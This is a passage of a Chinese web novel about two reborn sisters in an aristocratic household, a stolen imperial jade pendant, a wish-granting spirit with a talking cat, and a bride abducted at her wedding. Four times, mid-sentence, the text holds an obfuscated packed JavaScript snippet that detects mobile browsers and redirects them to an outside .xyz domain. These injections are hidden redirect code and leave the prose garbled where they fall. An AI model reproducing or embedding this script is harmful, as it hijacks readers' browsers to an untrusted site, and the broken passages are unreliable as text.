宿泱的母亲是宿父的第二任妻子，宿父的第一任妻子在生下女儿宿汐之后便撒手人寰，后来因宿父得当今圣上赏识，王氏有意拉拢，才将主家女儿下嫁给宿父。 两任妻子之间本就没有谁地位更高的说法，更何况宿父的第二任妻子王氏出身氏族，比起仅仅是秀才之女的秦氏在身份上强了不止一层，无论从哪个角度讲，也得不出原配子女比继室子女高贵的结论。 “我原本以为，你只是不聪明，”宿泱怒极反笑“但我没想到，你能这么蠢！” “宿汐那家伙平日里最会自欺欺人，说些莫须有的规矩，你去看看哪家有她说的那种规矩？她不过是觉得我在府里过的比她强，才用原配继室这种事来安慰自己，原本我也由着她自娱自乐，没想到你这个傻子还真信了！” “那……都是宿家的女儿，怎么能厚此薄彼？”宿涛不肯认输，梗着脖子和宿泱争辩。 “你也不想想，”宿泱更进一步，把宿涛逼到角落“府中所有小姐无论嫡出庶出份例都是一样的，我在府里过的宽裕，是因为母亲嫁妆多，这些年贴补我不少，我能嫁的好，是因为除了府里准备的嫁妆，我还能得一份母亲和舅舅的添妆，怎么，难道我花我自己亲娘的钱，还能碍着她了？” “她就是个神经病，你不信我，不信母亲，偏偏去信她，”宿泱被气的不行“你知不知道，你以后能不能继承家业和她一毛钱关系都没有？爹可不止你一个儿子，要是你折腾的太过，你猜爹是会守着嫡庶的规矩把家业都给你，还是会想办法让你病逝，让其他儿子继承宿家？” 宿泱可不觉得在继承人这方面宿父有什么温情可言，说到底，宿涛虽然是最名正言顺的嫡长子，但这里面可操作的空间仍旧不小，比如让宿涛病逝再将庶子记入嫡母名下。 “不会的，”宿涛拼命摇头“这不合规矩，这……” “醒醒吧！”宿泱一撇嘴“规矩？什么是规矩？按规矩来说继位的还应该是皇后的嫡长子呢，你是读书人，定然读过史书，历史上有多少嫡长子就那么顺顺利利的继位了？” 所有的规矩都是人定下的，而人们当初定下这些规矩，也不过是利益划分而已，如果规矩与利益不相符，那就改掉规矩，利益为先，哪有人会像宿汐那样，死守着规矩不管其他？ “今天发生的所有事，我都会告诉娘亲。”宿泱狠狠的瞪了宿涛一眼“你给我记住了，你娘是这世上唯一全心全意为你考虑的人，你爹家业再大，他不一定给你，只有你娘，她无论有多少东西，除了给我添的嫁妆，剩下全是你的。你这个蠢东西，还当宿汐是好心呢，她不过是随口一说，这你都能信！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829725|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宿泱不是顶顶聪明的那一类人，但有一点她非常清楚，那就是讨好谁对她有用。 她讨好宿父，整天围着宿父爹爹长爹爹短，是因为宿父能决定她未来嫁给谁，虽说宿父向来以利益为先，但在不损害利益的情况下，宿父不介意让她过的舒服点儿。 她讨好舅舅，是因为舅舅位高权重，且与她没有利益冲突，等她出嫁的时候，舅舅随手从手指缝里露出一点儿给她添妆，她下半辈子就能不愁吃喝。 她讨好平昌候世子，是因为平昌候世子对她的态度决定了她后半生的命运，纵使有母家撑着，母家也不可能时时刻刻去平昌候府的后宅看着，真正决定她能不能过好的，还是作为丈夫的平昌候世子。 至于母亲，是与她血脉相连，唯一不用刻意去讨好，就会心疼她、爱护她的人，也是这世界上和她最亲近的人。 想到这儿，宿泱气不过又拧了一把宿涛胳膊上的肉，她知道到了一定年纪，男孩子就不想再亲近母亲，觉得整天在母亲面前侍奉没有男子气概，但宿涛这个猪脑子也不想想，到底谁才是最不会害他的人。 有了这么一遭经历，宿泱也没心情再在外面瞎逛，她将宿涛带到母亲面前，把今日的事说了，宿母笑着应下，她毕竟出身高门大户，又当了这么多年的主母，这点儿手段对她来说自然不算什么。 * “小姐，”小翠走进宿汐的院子，脸色有些为难的说道“夫人今日送来了一批缎子，说是怜您年幼丧母，给您添的嫁妆，让您在出嫁之前将这些缎子都绣完。” 宿母自然不可能在宿汐出嫁之前公然罚她，毕竟这可是关乎宿家的颜面，她只是给宿汐找点事做而已，这批缎子都是上好的料子，加起来价值不菲，让未嫁的女儿做女红当嫁妆，总是挑不出错处的。 “我看夫人分明就是欺负您！”小翠将缎子摔在矮桌上怒道“凭什么二小姐不用做这些，偏偏您要在出嫁前一个劲儿的做女红？” “行了，”宿汐神色淡淡将绸缎和各种丝线接了过来“替我谢谢母亲，在出嫁之前我会把这些东西做好的。” 小翠仍是愤愤不平，但也不敢再说什么，只好对外面来送缎子的人说了些感谢的话，没办法，老爷不管家事，这内宅中的事，还是夫人说了算。 “喵∽” 一只花色驳杂的猫轻轻跳到了宿汐面前，那猫幽绿的眼睛好奇的打量着宿汐，宿汐虽疑惑这猫是怎么进来的，却还是伸手摸了摸猫咪柔软的皮毛，脸上流露出了一点不明显的笑意。 “不好意思，”宿汐刚想把猫抱起来，就听到一道陌生的女声在她不远处响起“我的猫调皮，对宿小姐好奇了些，我代它向宿小姐道歉。” 宿汐神情一凝，她抬起头，却看到那个打扮奇怪的女人正站在她面前，笑盈盈的看着她。 5. 第五章 “宿汐，礼部侍郎宿大人的长女，我应当没有认错吧？”眠云坐在案几的另一侧“今日上午，宿小姐跟在我身后，如今我不请自来，还请宿小姐海涵。” “……你到底是什么人？”宿汐浑身僵硬，她看了一眼从门到案几的距离，心里盘算着逃跑的路线。 “别怕，”宿泱语气温柔的说道“其实我今日过来，不是为了之前的事，只是想问一问，宿小姐可有什么烦心事，或者想要达成什么心愿？” “喵∽” 花花主动跳到案几上，眼睛闪亮亮的盯着宿汐，只等她说出心愿。 “没有，”宿汐立刻否认“我没什么想做的，还请你尽快离开。” “宿小姐不妨再仔细想想，也不必立刻回答我。”眠云没有生气，实际上以她的年纪也不可能和这些小孩子置气。“花花很同情你在宿府的经历，在我面前耍赖一定要我过来，我知道你困境，或许我可以帮到你。” “不需要，”宿汐动摇了一瞬，眼神很快又坚定了起来“请你离开，你如果再不离开我就要叫人了。” “你笨啊，”花花急的不行，它好不容易才说服眠云来帮它心目中的女主角，可这个女主怎么一点儿都不听劝啊。“云云人很好的，她帮助过很多人实现愿望，她真的能帮你！” 宿汐被忽然开口的花花吓了一跳，她的反应比宿泱要平淡的多，不过须臾便不再惊讶，仍是坚持道“请你们离开。” “你……你不识好人心！”花花还是个孩子，无法理解大人世界的复杂，它情绪激动的跳到宿汐面前急切道“你知不知道你要嫁的宣威将军在你出嫁以后就会死？！” “花花！”眠云微微皱眉，伸手将花花抓回来，转头又对宿汐道歉“不好意思，花花性子急，说了些冒犯话，还望宿小姐莫要怪罪。还有，我的交易需要双方认可才能生效，宿小姐不必忧心我会做什么不好的事。” “我知道，我不需要帮助。”宿汐看了一眼窗外“对我来说，守寡也没什么不好的，总比欺骗强些，请你们尽快离开，我不需要帮助，也对交易没兴趣。” “打扰了。”眠云微微颔首，一闪身的功夫便不见了踪影，只是花花似乎意难平，口内仍念叨着什么。 “人各有志，”眠云浅浅一笑，将一块桂花糕送到花花嘴边“既然宿汐小姐不愿同我做交易，我也无法勉强。” “……云云，”花花难得的没有第一时间去吃桂花糕，而是思索了很久后才说道“明明你是去帮汐汐的，为什么她就是不接受呢？” “许是因为她聪明吧，”眠云仍是笑着，眉眼间却有几分漫不经心的意味，她见过太多人类了，无论是什么样的人，都很难再让她感到惊讶。“她聪明，却无能为力，能看得清，却什么都做不了，久而久之也就随波逐流了。” 花花没有说话，只是耳朵垂了下来，以它的阅历还不足以理解复杂的人性，它只是意识到，宿汐是真的不希望眠云介入她的生活。 “你这猫吃坏肚子了？”宿泱一眼就看到了垂头丧气的花花，不由得多看了两眼“少喂它吃外面的东西，那些小贩卖的东西都脏兮兮的，要是吃坏了身体可就划不来了。” “花花只是觉得宿汐姑娘和它想的不一样，所以有些郁闷，”眠云扬起嘴角和宿泱打了声招呼“这么晚了，宿姑娘还要出门？” “嗯，九……你要的东西，我会尽快拿到的。”宿泱话说到一半，听到眠云提起宿汐，她没好气地回道“你们理宿汐干嘛？她脑子有毛病，还没出嫁就跟个守寡多年的怨妇似的，看着就惹人烦。” 花花动了动身子，想起来反驳，却发现宿泱已经离开，它蹿到眠云怀里，眠云抱着它，轻笑道“真是一对有意思的姐妹，不同的处境，造就了不同的性格啊……” 宿汐多思多虑，却不敢踏出一步，宿泱冲动少思，行动上却一刻都不肯耽误。 这两位姑娘的未来，又在何处呢？ * 马车晃晃悠悠的到了王家，刚刚还在闭目养神的宿泱瞬间打起精神，她眼睛弯成了月牙，也不用下人领路，自己就跑到主屋，乖巧的向舅舅舅母请安。 “泱泱来啦，”现任王氏掌权人，宿泱的亲舅舅放下茶盏对自己的夫人笑道“瞧这小猴儿，蹦蹦跳跳就来了，哪里像定了亲的姑娘？” “舅舅——”宿泱拖长声音“我好不容易来一回，舅舅还嫌弃我，再说定了亲又怎么样？有舅舅在，要是有人欺负我，舅舅定不会轻饶他！” “哈哈哈哈哈！”王家主笑的前仰后合，指着宿泱说道“你瞧瞧，这孩子还没出嫁呢，就指望着我给她出气，去教训她未来夫君了。” “我瞧着泱泱倒是极好的，”王夫人笑道“况且无论嫁不嫁人，泱泱都是你的亲侄女，我王家的女儿，就是娇纵些又何妨？” 一轮寒暄过后，天色渐渐转暗，王家主吩咐了宿汐几句便叫人带她下去休息，宿泱这次来的目的还没达到，又哪里肯去休息，她拜访了一连串的姊妹，最后在与她最要好的王家三小姐那里得到了有用的消息。 “你说六表弟被关祠堂了？”宿泱去拿糕点的手缓缓停下“这又是怎么一回事？” “倒也不是什么天大的事，”王三小姐撇撇嘴“今日上午，三皇子来王家拜访，六表弟年纪小，冲撞了三皇子，被罚跪祠堂反省。” “……我跟你们小姐有话要说，你们先下去吧。”宿泱读懂了王三小姐眼中的嫌弃，挥手屏退下人，等屋里只有她们两个人的时候，宿泱小声问道“发生什么了？” “近几年皇上年事已高，开春的时候又病了好几场，到现在都没能完全恢复。”王三小姐压低声音道“这些皇子年纪也大了，眼见着皇上身体不好，心思也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829726|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活泛了。” “三皇子母妃出身不高，母族没有多少助力，却颇得皇上喜欢，他先前娶了平昌候府的嫡小姐为正妻，把平昌候府给拉拢了过去，现在见皇上身体不好，他心也大了，竟要娶我王家女儿为侧妃。” 说到这儿，王三小姐翻了个白眼“他就算以正妻之位相许，我王家也不一定会嫁女，更何况是区区一个侧妃之位？六弟当场就翻脸了，爹爹心里当然也是赞同六弟的，只是碍于皇家颜面，还是让六弟去祠堂罚跪。” “三皇子想的倒是美，”纵是平日里不太关注这些的宿泱也皱了皱眉头“一手平昌候府，一手王家，他是不是还想多长几只手，把谢家卢家这些家的女人都娶了？” “嗤，他倒是想呢，”王三小姐嗤笑一声“可惜，他觉得他自己聪明，前途无量，却不知那到处站队的世家都是些暴发户做派，像我们这样传承了几百年的大世家，哪有随便把自己的家底压上的。” 纵使三皇子真娶了王家的女儿，王家也会把其他女儿嫁给别的皇子以示中立，娶一个女人就想拉拢一个世家，哪有这么简单？ “六表弟也算遭了无妄之灾，”宿泱叹息一声“算了，我过去看看他，顺便给他带点儿吃食，他向来脾气大，性子倔，恐怕连晚饭都不会吃。” “去吧去吧，”王三小姐摆摆手“我这里有小厨房，不如让人做上几样他爱吃的，你一并带了去。” 宿泱提着一个食盒去了祠堂，她经常来王家，看守祠堂的人对她没有防备，很快便让她进了去。 王家祠堂很大，除了供奉祖宗牌位以外，还供奉着一些圣旨和御赐之物，而今日因言行无状被罚的王六郎正老老实实跪在牌位前，晚上送来的食盒显然没有动过。 “你不吃晚膳是想和谁较劲？”宿泱一面偷瞄九龙玉佩的位置，一面将食盒递到小表弟面前“你姐姐托我给你带来的，快吃些吧，都是你喜欢的。” “我不吃！”王六郎犯倔，他一直觉得自己没错，凭什么要受罚？ “不吃？”宿泱一扬眉“行，你不吃我就去告诉七弟，是你把尿湿了的床单换到他床上，还诬陷他尿床的，你……” “等等，我吃！我吃就是了！” 王六郎一想到这件事脸上就臊的慌，连忙拿起碗吃了起来，宿泱迅速达成目的，趁着王六郎正在吃东西没人注意她，趁机溜进了后面存放御赐物品的隔间。 九龙玉佩只有半个巴掌大小，为了万无一失，宿泱调换玉佩以后将真的九龙玉佩藏进了自己的衣服里，她正打算推门离开，却听到门外传来的轻微的脚步声。 是谁？难道是表弟看她不在，所以过来找她？ 出于某种做了坏事的心虚，宿泱钻到铺着长长桌巾的供桌下面，她想等外面的人走了以后再离开，岂料外面的人非但没走，反而推门而入，站在了供桌前面。 6. 第六章 一、二、三……宿泱在心里数着，她足足数了三十下，都没有听到任何声响，难道刚刚的开门声是她听错了？还是别的房间门打开了？ 供桌底下的空间太小，宿泱只能蜷缩着身子，她抬了抬手，打算掀起帘子出去，要是被发现了，她就推说自己是闹着玩想躲在这里吓人一跳，反正东西也没丢，大不了被骂一顿好了。 “砰！” 轻微的响声从头顶传来，宿泱动作一顿，这个小隔间里放的都是御赐之物，到底是谁这么大胆，竟敢随意翻动御赐之物？ 她皱起眉，隐隐感觉有些不对，外面的人不像六表弟也不像侍卫仆从，但除了他们，祠堂里还会有谁？ “主子，”一道沙哑的男声在隔间里响起，尽管他压低了声音，与他仅有一帘之隔的宿泱还是听得格外清晰“东西不见了。” 什么东西？应该没有东西丢了啊？ 宿泱愣了一下，她缓缓摸向自己的袖口，一枚流光溢彩的玉佩被她拿了出来，按理说她身上应当只有一枚真·九龙玉佩被放在衣襟里，那这块从袖子里拿出来的九龙玉佩又是什么？ “不见了？” 那个被叫做主子的男人声音里带着明显的冷意，“你是说，开国皇帝亲赏给王家，一直被王家放在祠堂的九龙玉佩，忽然消失不见了？” 这个声音……宿泱感觉自己好像在哪里听过，但她来不及细想，就被扑通跪地的声音吓了一跳。 “主子恕罪，”嗓音沙哑的仆从明显慌了，不停的跪在地上磕头“许是、许是王家根本没有把九龙玉佩放在祠堂，小的、小的……” 仆从慌了神，没有克制住音量，那个被称为主子的男人只得低声说了一句走，二人便急匆匆的离开。 宿泱确定两人离开以后从供桌底下爬了出来，她手里拿着一真一假两枚九龙玉佩，想来是之前她太过慌乱，忘记把假的九龙玉佩放进去，但没想到阴差阳错之下，她竟是保全了九龙玉佩。 宿泱将两枚玉佩都带在身上，等她经过祖宗牌位的时候，吃饱喝足的六表弟已经睡的不省人事，宿泱心里一突，攥紧裙角，尽量维持着万事不知的贵女姿态，直到出了祠堂，她才猛地松了一口气。 “宿小姐，”看守祠堂的侍卫见宿泱出来，随口问道“都这么久了，六少爷还没吃完晚膳吗？” 宿泱是带着食盒进去的，却是空着手出来，食盒显然被放在了祠堂里，侍卫这样问也情有可原，但九龙玉佩差点被偷一事给宿泱敲响了警钟，那两人能潜进祠堂，就说明王家内部也不一定安全。 “食盒里有几样他平日爱吃的小食，冷着吃也是好的。”宿泱手心直冒冷汗，她无法确定眼前的侍卫是否真的是自己人“六表弟被罚跪三天，我担心他半夜腹中饥饿，就想着将食盒留下，明日再让仆从进去收拾。” “老爷发了这么大的火，这下可苦了六少爷。”侍卫神色如常的说道“天色已晚，不如我送姑娘去客院？” “你今日当值，又如何能擅离职守？”宿泱装作满不在乎的样子“我要去三小姐那里，不过几步路的距离，又何需人送。” “您说的是，”侍卫赔笑着“这天黑路滑，小的叫别的兄弟送您去三小姐那儿。” 宿泱胡乱应下，她现在心里乱的很，也不知道该如何是好，又不想打草惊蛇，只得在王三小姐那里对付了一夜，第二日才随大流与王家的少爷小姐们去王家主那里请安。 “今日难得大家都在，不如我们姊妹打打叶子牌取乐。” 眼见时间一点点过去，宿泱还没有找到单独与王家主说话的机会，王家有内鬼，这里又人多眼杂，要是突然说有要事找王家主，免不得惊动了幕后之人。 “这……”王三小姐有些犹豫，虽说宿泱是客人，但这不年不节的，一大早上打牌也不太合适，不过见宿泱一直盯着她，她还是说道“……也行。” 几个王家小姐不明所以的留了下来，宿泱上去打了几轮，找了个借口更衣，实则是偷偷跑进了王家主的书房。 “泱泱？”王家主惊诧的看着忽然跑过来的宿泱，“怎么，和姊妹们吵架了？” “舅舅，我这次过来，其实是母亲想让我带几句话给您，”宿泱正色道“母亲说这件事很重要，务必要单独和您说。” 王家主虽不明所以，但还是屏退左右，直到宿泱拿出九龙玉佩，他的神情才一下子严肃起来。 “舅舅，您先听我说。”宿泱不等王家主发火，主动将昨天发生的所有事都说了出来，除了她偷换玉佩，剩下的事毫无隐瞒。 “泱泱，昨日多亏了你，御赐的九龙玉佩才没有遗失。”王家主没有怀疑宿泱的话，毕竟宿泱也没必要自导自演这么一出戏。“你放心，这件事舅舅一定会查个水落石出，给你一个交代。” “如今朝堂局势动荡，王家势大，就算是为了表哥表姐们着想，舅舅也要竭力保全自己。”已经偷了九龙玉佩的宿泱有一瞬间的心虚，但一想到眠云曾说真假两个九龙玉佩其实是一模一样的，她就理直气壮了许多。 接下来的事宿泱也管不了什么了，她打算今天就离开王家，毕竟王家一来不怎么安全，二来也不方便和眠云交易。 “小心！” 宿泱走的太急，心里又存着事，差点儿撞到了人，那人伸手扶住她，又很快放开手，关切问道“宿姑娘没事吧？” “没……世子？”宿泱有些惊讶，很巧，刚刚扶住她的人正是她的未婚夫，平昌候世子。 “这可巧了，”王家二公子笑嘻嘻的说道“我与世子有同窗之谊，世子又与表妹有婚约，不如表妹多留几日再走，也好让我过一把当红娘的瘾。” “不……”宿泱刚想拒绝，却忽然想起了什么，转了语气道“不瞒二表哥说，我本打算多留几日，只是我长姐因为婚约的事……算了，我还是回去吧。” 宿家两位小姐同时定下婚约不是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829727|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么秘密，而两位小姐的未来夫婿身份相差不小，彼此之间很难一点儿嫌隙都没有，这倒是个合乎情理的借口。 “宿姑娘不必为此烦忧，”平昌候世子人虽不热情，谈吐举止倒是极为得体“父母之命媒妁之言，安某定会遵从婚约行事。” 宿泱笑着敷衍了几句，她刚回到宿府，却发现眠云早已在她的房间中等候，显然是知道她已经拿到九龙玉佩。 “我有个问题，”宿泱把九龙玉佩拿了出来，放到面前的茶几上“你既能知道过去，也能知道未来，对吗？” “当然，”眠云微微点头“宿姑娘是改变主意了吗？” “报酬还是这枚九龙玉佩，”宿泱摩挲了两下玉佩的表面“我要知道昨天偷玉佩的人是谁，那人背后的人，以及背后之人的所有阴谋和秘密” “宿姑娘想知道的东西还真不少，”眠云笑了笑“不过我可以答应你，只是你确定你要知道这个，而不是你的未来吗？这背后的事很复杂，哪怕你知道了也不一定有能力做什么。” “我知道，”宿泱也笑了，片刻之后她又冷静了下来道“正因为我能改变的事太少了，所以我才要赌一把。” “你可别唬我，”宿泱慢悠悠的给自己倒了一杯茶“自从重生回来以后，我心里总有种不太对劲的感觉，尤其是遇见你，你还主动要给我卜算未来，我就知，我的未来不会太好。” “可不好又怎么样呢？我根本没得选，或者说我只有两个选择，平昌候世子和宣威将军。” “上辈子我选了宣威将军，可事实证明他是个短命的，我还没见过他几面他就死了，他出身贫民，家里没钱没族亲，后半辈子我还要用自己的嫁妆养他老娘，难道我是什么冤大头吗？” “这辈子我选了平昌候世子，他也不一定就是个好的，但就像乞丐不得不在垃圾堆里翻找食物，哪怕都是烂的，也只能找一块相对没那么烂的吃下去填饱肚子。” “你笑什么？”宿泱把茶喝出了酒的架势，猛地灌了自己一口“身为女子，未嫁从父，出嫁从夫，夫死从子，我连自己嫁给谁都做不了主，能有多大本事改变命运？” “但你还是没有放弃，甚至不惜去偷玉佩，”眠云笑容清浅又温柔“为什么？你明知自己没办法改变太多的，不是吗？” “穷人知道自己穷难道就不挣钱了？”宿泱一脸理所当然“精卫不可能将大海填平，可仍旧日复一日填海，我知道我很难改变命运，但这并不影响我拼尽全力去改。” “我知道这件事很凶险，但乱世用重典，急病下猛药，以我的筹码，根本不足以得到我想要的东西，除非……”宿泱顿了顿说道“除非，我狠的下心，知道一些要命的事。” 高风险伴随着高收益，宿泱也不是傻子，当然知道这件事很危险，原本她没考虑这个，但昨晚那个男人的声音…… “我还是挺喜欢精卫的，”眠云拿走了九龙玉佩笑道“所以，交易成立。” 7. 第七章 “云云，”花花从衣柜顶跳下来，其实它一直都在，也听到了宿泱对眠云说的话“我知道你为什么更喜欢这个一看就像恶毒女配的二小姐了。” “哦？”眠云抬眼，饶有兴趣的问道“为什么？” “因为她是活着的，”花花声音闷闷的“她是活着的，所以她在感觉到不公的时候会拼命想办法反抗，哪怕这反抗的方法在外人看来不怎么聪明，只要她还有力气动弹，她就一定会反抗。” “没错，”眠云伸手摸了摸花花后背上的毛“我喜欢这样的人，为了一个飘渺的未来，能赌上一切的人。” 花花欲言又止的看向一直站在眠云肩上，除了会主动靠近眠云以外几乎毫无动作的绶带鸟，这只绶带鸟与它和小红不一样，它和小红都是灵兽，而这只绶带鸟，却是一个人类的残魂。 按照人类的说法，三魂七魄已散，那就是死的不能再死，连鬼都当不了，如果不是眠云用自己的神力日日蕴养这一点残魂，恐怕他早就已经不复存在了。 饶是如此，这一点点残魂连神志都没有，真的能算是活着吗？ “怎么了？”眠云声音带笑“怎么忽然发起呆来，难不成我们花花也开始思考猫生了？” “没有！”花花回过神来，它不想再提及过去的事，只好生硬的转移了话题“我在想，二小姐她到底能不能成功。” “唔……眼见为实，左右不过一个月的时间，不如我们就留在这个世界亲眼看看？” * 今日是宿家两位小姐出阁的日子，外面的天还未亮，宿汐就被丫鬟们叫起来梳洗，她的神色平淡，丝毫没有新嫁娘的紧张羞涩，也是，都是活了两辈子的人了，怎么会因为成婚而忐忑。 “小姐，”宿汐的贴身侍女小翠还在念念叨叨“您早上多少要吃些东西，婚礼要办一整天呢，您别怕，姑爷虽是个武将，但我瞧着却像个俊俏公子似的，想来性子也是和善的，不会让您受太多磋磨，您……” 小翠话还未说完，自己就先抽抽搭搭的哭了起来，等眼泪掉下来以后，方又想起今日是小姐大喜的日子，连忙用袖子把眼泪擦干，换上了一副笑脸。 “小翠，你怎么忽然间变话唠了？”宿汐笑了笑，许是因为知道宣威将军会在今日出征战死，她的心态反而很平稳，毕竟死都死了，宣威将军是人是鬼又有什么关系？“放心吧，我不会被欺负的。” 毕竟宣威将军马上就要死了，一个死人，又如何欺负的了她？ “那小翠就放心了，”小翠一面给宿汐梳头，一面哽咽着说道“小翠知道，小姐这么多年在府里受苦了，夫人给的嫁妆不多，这往后……” “好了，”听到小翠越说越离谱，宿汐忙制止了她“大喜的日子，说这些做什么？不如快些梳洗，免得误了时辰。” 权贵人家的成婚的流程都是差不多的，在一切准备好以后，新郎接亲的队伍也到了，紧接着便是拜别父母，与新郎拜堂，入洞房内等待，只是宿汐提早便知晓，她是等不来新郎的。 “吱嘎——” 木门发出开合的响声，宿汐头上盖着红盖头，看不见到底是谁进来了，但想来应当是丫鬟婆子之流，毕竟在这个时候，能过来的应当只有她们了。 “哒、哒、哒” 不，不对劲！ 丫鬟婆子们穿的都是软底布鞋，走在地上不可能是这般清脆的声响，进来的分明是个穿靴子的男人！ 进来的人到底是谁？！ 另一边，平昌候府内热闹非凡，平昌候世子穿着一身喜庆的红衣在前厅接待众宾客，众宾客见他满面红光不见病容，都觉之前传闻平昌候世子重病是谣传，纷纷向今日的新郎官敬起酒来。 “世子啊，”已经喝了个半醉的王家二公子举杯，笑嘻嘻的说道“来！今日是你和我表妹大喜的日子，我敬你一杯！” “王公子，今日你已经敬我三杯了，”平昌候世子无奈将杯中酒饮下“若是每人都敬我三杯，那安某恐怕就要醉着入洞房了。” “嘿嘿，”王家二公子一把揽过平昌候世子的肩膀，口齿不清的说道“想、想要娶我表妹，哪……有那么容易的？” “衡儿，你这是成何体统，还不快放手！”王家主呵斥了王二公子一声，又对平昌候世子道“小儿言行无状，还请世子勿要怪罪。” “舅舅说笑了，”平昌候世子扫视了一眼过来的王家人，眼里的笑意多了几分“我既娶了宿姑娘，宿姑娘的亲人就是我的亲人，亲人之间，哪有计较这种小事的道理。” “世子说的有理。”王家主点头，他刚想说些什么，一个侍从匆匆忙忙跑进来和王家主耳语几句，王家主当即皱紧了眉头，叮嘱了王家二公子几句便匆匆离开。 “世子恕罪，”事发突然，王家二公子的酒也醒了不少，他斟酌着语句“圣上急召，父亲不得不归，还望世子……” “表兄说的哪里话，”平昌候世子笑意更深“能为圣上分忧是我等的荣幸，若是因此恼怒，我岂不是对圣上不忠？” “不好啦！不好啦——” 王二公子还未回答，就听到后院传来丫鬟的尖叫“新娘子、新娘子不见啦——” 什么？！ 平昌候世子一下子站了起来，厉声呵斥“来人！将那小丫鬟带来，问问她在这大喜的日子为何胡言乱语？！” 这是怎么回事？按照原本的计划，他应该顺利娶到宿泱才对，为什么宿泱会忽然不见人影？ “发生了什么？”王家二公子也眉头紧锁，看向地上跪着的丫鬟“我记得你是表妹的贴身侍女，速速将此事如实招来，否则……后果可不是你一个丫头能承担的。” “刚刚小姐说口渴，想喝口茶，我就去替小姐和外面的丫鬟婆子要热水。”芸儿哭哭啼啼的回答“哪成想一转眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829728|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功夫，新房里就没人了，我哪里都找不到小姐，只好、只好，呜……” 说到这儿，小翠又哭了起来，说着自己不应该离开小姐身边，这么一会儿小姐就不见了之类的话。 “王兄，事已至此，着急已是无用。”平昌候世子反而比王家二公子更冷静些，他劝慰道“你我二家皆是显赫之族，平日里定会招些小人记恨，这次许也是那些人的报复，与其在这里急，不如尽快找到宿姑娘才是正事。” “你说的对，”王二公子勉强冷静下来“这么短的时间内，贼人很难把表妹带走，或许表妹还在平昌候府内，我立刻派人去找！” “哎呦，今天怎么这么热闹啊。” 一个头戴玉冠，身着紫色锦衣的公子闲庭信步的走到了主桌，毫不客气坐到了平昌候世子旁边“本王才想起来，今日是世子大婚的日子，本王到的迟了些，世子不会怪罪吧？” “怎敢怪罪王爷，”平昌候世子的脸色出奇的难看，甚至比之前听到宿泱失踪时更难看。“王爷能来，安某感激不尽。” “那就好，”当今圣上第六子端王悠哉游哉的给自己倒了一杯酒，随口问道“哦，对了，我记得你娶的是宿家大姑娘，王家侄女，对吧？” “是。”平昌候世子语气冷硬，似乎并不想回答这个问题。 “这新娘子娶的好啊，”端王津津有味的喝起了酒“不仅得了宿大人这个礼部侍郎做岳父，还得了王家这么一个靠山，就是那姑娘倒霉，要嫁给你这么一个命不久矣的病秧子，以后就得守寡喽。” 这话说的属实难听，绕是平昌候世子也不由得冷了脸，沉声说道“王爷若是来贺喜的，我定当扫榻欢迎，可王爷若无贺喜之意，恕安某招待不周，还请王爷自便吧！” “别急啊，”端王慢悠悠的说道“今天这个亲事，哪怕你想成，也成不了不是？毕竟啊，新娘子可不在这新房里。” “你！”平昌候世子猛地抬头，刚刚芸儿的声音虽大，但毕竟是在后院喊的，只有几个靠近后院的宾客听到了，他们又并未声张，还在门外的端王不可能听到，除非，这件事本就与端王脱不了干系。 “端王殿下，”王二公子语气不善“表妹不知何时得罪了殿下，竟让殿下做出如此举动，还望殿下看在我王家的面子上放了表妹，不然的话，即使告到陛下面前，我王家也绝不会善罢甘休！” “别急啊，”端王环视一周，又笑着说道“我只是想和世子开一个小玩笑而已，宿姑娘那么大一个人，又不好藏，又没什么用，我绑她做什么？” “我只是想和世子谈谈罢了，”端王笑道“放心，明天天亮，宿姑娘就会安安全全的回到府中，本王说到做到。” “只是为了谈谈？”王二公子半信半疑的看向端王，又转头看着平昌候世子。 一瞬间，所有人的目光都聚集在了平昌候世子身上，等待着他的决定。 8. 第8章 所有人都在等待平昌候世子做决定，端王嘴角还沁着一抹笑，显然是在看好戏。 